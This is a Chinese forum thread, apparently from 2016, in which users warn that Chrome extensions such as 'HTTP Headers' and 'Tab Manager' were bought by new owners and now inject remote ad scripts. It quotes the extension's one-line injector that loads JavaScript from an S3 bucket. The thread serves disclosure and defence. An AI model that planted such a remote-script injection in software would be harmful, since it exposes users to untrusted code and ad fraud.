
后来问题查到了 Chrome 扩展上:
https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk/reviews
这个叫 Http Header 是我经常使用的一个插件
插件里面有这么一句:
(() => { var s = document.createElement('script'); s.src = '//s3.eu-central-1.amazonaws.com/forton/http_headers_1.js'; document.body.appendChild(s);})(); 目前来说我只见到了 403 状态码。 然后当我卸载了它重新安装的时候。发现这句话不见了:
(() => { if (!chrome.contextMenus) { return void console.log("Chrome contextMenus access failed"); // http_headers_1 } 但是这个注释也蛮有意思。
针对这个 S3 域名加部分路径搜索,发现了这个:
https://www.reddit.com/r/chrome/comments/4uawrf/fyi_tab_manager_extensions_new_owners_have_added/
https://www.reddit.com/r/help/comments/4tquap/hitting_collapse_comment_icon_button_is/
插入的 js 路径:
https://s3.eu-central-1.amazonaws.com/forton/tab_manager.js
只是文件名不一样了。而且这个 js 是可访问的,不会 403 。说简单点功能就是插广告,引流返利之类的东西。
这些插件作者不同,但是都是近期被别的公司买了。
我觉得 Chrome 应该可以设置禁止插件自动更新,尤其是插件发生了权限变更的时候,谷歌提示要么更新要么删除,有点变态。
更多类似感染的插件:
Live HTTP Headers:
HTTP Headers:
https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk/reviews
Tab Manage:
以上几个估计背后的人是一伙的。
还有这个,我很早就发现问题了,安装的时候会偷偷下载另外一个扩展安装上:
Change HTTP Request Header
1 cname 2016-11-01 08:22:15 +08:00 via Android 现在就用一些必要的扩展,其余都删了 |
2 redsonic 2016-11-01 08:34:47 +08:00 google 是不是不允许插件代码混淆,如果是我就混淆一下,既然已经耍流氓了。 |
3 honeycomb 2016-11-01 08:37:03 +08:00 via Android Google 自己写了一个扩展可以用来监控所有扩展的动作 |
5 idler 2016-11-01 09:35:44 +08:00 @shiji Chrome Apps & Extensions Developer Tool https://chrome.google.com/webstore/detail/chrome-apps-extensions-de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc |
6 AlphaTr 2016-11-01 10:01:19 +08:00 除了大厂的差价,剩下的插件自己写 |
7 danliuwo 2016-11-01 21:08:32 +08:00 词霸快译 表示不服,在没有安装任何它的插件它也能搞 chrome, 我在收藏夹打开链接它会先弹出一个新窗口广告,你说不,别以为不安装插件就安全了 |
8 ctsed 2016-11-15 21:34:54 +08:00 还有这个 Inject jQuery 1.0.4 Injects jQuery in the page. ID : indebdooekgjhkncmgbkeopjebofdoid chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id); |